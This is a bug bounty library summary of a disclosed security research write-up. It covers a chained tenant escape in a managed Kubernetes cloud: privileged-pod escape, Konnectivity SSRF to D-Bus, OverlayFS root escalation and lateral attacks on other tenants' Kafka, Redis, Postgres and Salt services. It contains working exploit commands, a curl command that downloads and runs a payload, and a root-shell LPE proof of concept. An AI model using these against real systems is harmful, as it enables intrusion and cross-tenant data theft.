# An insecure neighbor: how a vulnerability chain led to an isolation bypass in cloud infrastructure

Tenant escaped managed k8s worker, abused Konnectivity DIAL_REQ SSRF to RCE on control plane, then flat overlay network exposed other tenants' Kafka, Redis, Postgres, and Salt tokens.

- Payout: Research
- Severity: critical
- Program: Managed Kubernetes cloud provider
- Write-up by: Matvey Bukhtoyarov, Kaspersky Security Services
- Disclosed: 2026-10-27
- CVE: CVE-2026-25243
- Write-up quality: 9/10
- Original: https://securelist.com/cloud-infrastructure-isolation-bypass/121609/
- Library page: https://bugbountylibrary.com/r/blog%3Asecurelist-com-cloud-infrastructure-isolation-bypass-121609
- Tags: area:cloud domain:cloud domain:infra impact:data-leak impact:internal-access kind:research platform:threat-intel sev:critical tech:docker tech:kubernetes technique:chained technique:source-review vuln:misconfiguration vuln:privilege-escalation vuln:rce vuln:ssrf

**Target:** Managed Kubernetes (k0s), Konnectivity server, overlay network services
**Root cause:** Privileged pods allowed host escape; Konnectivity AgentService accepted DIAL_REQ from worker agents and called net.Dial on attacker-controlled protocol/address, giving SSRF to host UNIX sockets; overlay network was flat, exposing all tenants' managed services.
**Steps:**
1. Create privileged pod with hostPID via `kubectl run ... --overrides='{"spec":{"hostPID":true,..."securityContext":{"privileged":true}}}'`
2. Run `nsenter --target 1 --mount --uts --ipc --net --pid – bash` to get root on worker host
3. Extract Konnectivity token and kube-apiserver address from kubelet config; scan 192.168.0.4, find port 8132
4. Send DIAL_REQ Packet over Konnectivity Connect stream with controlled `protocol` and `address` to reach `/run/dbus/system_bus_socket`
5. Use D-Bus GetConnectionCredentials to get UID 997; call `SetUserLinger ubb 997 true false` via login1
6. Call StartTransientUnit on `/run/user/997/systemd/private` with `ExecStart=/bin/sh -c "bash -lc 'curl ip:port/payload -o /tmp/love;chmod +x /tmp/love; setsid /tmp/love '"` for callback
7. Escalate to root via OverlayFS cap_setuid bug: `unshare -rm sh -c '... setcap cap_setuid+eip l/python3 && mount -t overlay ...'` then `/tmp/lpe/u/python3 -c 'import os; os.setuid(0); os.system("id; /bin/sh")'`
8. Query VictoriaMetrics `/api/v1/targets` and VictoriaLogs `/select/logsql/query` to harvest other tenants' cloud-init SSH private keys
9. Exploit Kafka JMX/RMI on port 9999 by creating MLet MBean and loading malicious `mlet.html` for RCE
10. Leak Redis credentials via `http://<redis_exporter_host>:9121/scrape?target=<fake_redis_server>`
11. Write Patroni config in etcd `/v2/keys/service/<CLUSTER_NAME>/config` setting `archive_command` and `standby_cluster` to force WAL archive RCE
12. Dump Salt master fs, find `_pillar/somebase.py` SQLi via grains `some_id`, extract salt-masters tokens, run commands via Salt REST API
**How found:** Threat model of external tenant; noticed privileged pod creation allowed, found Konnectivity token on worker, read konnectivity-server source and saw DIAL_REQ from agent passed to net.Dial with attacker-controlled address; then scanned overlay network and analyzed each managed service's exposed ports and source code.
**Exploitation:** Starting as a tenant, privileged pod + nsenter gave worker root. Konnectivity token allowed DIAL_REQ SSRF to host D-Bus, yielding code execution as UID 997 on control plane, then OverlayFS LPE to root. Flat 100.64.0.0/10 overlay exposed VictoriaMetrics/Logs (leaking other tenants' SSH keys), Kafka JMX (RCE), redis-exporter (credential theft), etcd/Patroni (archive_command RCE), and Salt master SQLi (tokens for all minions).
**Escalation:** Chained container escape → Konnectivity SSRF → D-Bus RCE → OverlayFS root → flat overlay lateral movement → Salt master token theft for full cloud takeover.
**Insight:** Konnectivity's AgentService trusts DIAL_REQ from worker agents and calls net.Dial on the supplied address — a worker-side token becomes control-plane SSRF to UNIX sockets like D-Bus. Also, flat overlay networks expose every tenant's managed service ports (JMX 9999, redis-exporter 9121, etcd 2379) to any compromised node.

## Proof of concept (copied exactly from the original report)

**Privileged pod with hostPID to escape worker node**

```
kubectl run pod-name-bla \
 --image=alpine \
 --restart=Never \
 --overrides='
 {
 "apiVersion": "v1",
 "spec": {
 "hostPID": true,
 "containers": [
 {
 "name": "priv",
 "image": "alpine",
 "command": [ "sh", "-c", "sleep 3600" ],
 "stdin": true,
 "tty": true,
 "securityContext": {
 "privileged": true
 }
 }
 ]
 }
 }'
```

**Konnectivity DIAL_REQ SSRF to net.Dial on control plane**

```
func (s *ProxyServer) handleDialRequest(pkt *client.Packet, backend Backend) {
 ...
 dialReq := pkt.GetDialRequest()
 resp.GetDialResponse().Random = dialReq.Random

 start := time.Now()
 conn, err := net.Dial(dialReq.Protocol, dialReq.Address) // we control proto and address
```

**OverlayFS LPE to setuid python3 root**

```
rm -rf /tmp/lpe
mkdir /tmp/lpe
cd /tmp/lpe

unshare -rm sh -c '
 mkdir l u w m &&
 cp /usr/bin/python3 l/ &&
 chmod 755 l/python3 &&
 setcap cap_setuid+eip l/python3 &&
 mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
 touch m/*
'
getcap /tmp/lpe/u/python3
/tmp/lpe/u/python3 -c 'import os; os.setuid(0); os.system("id; /bin/sh")'
```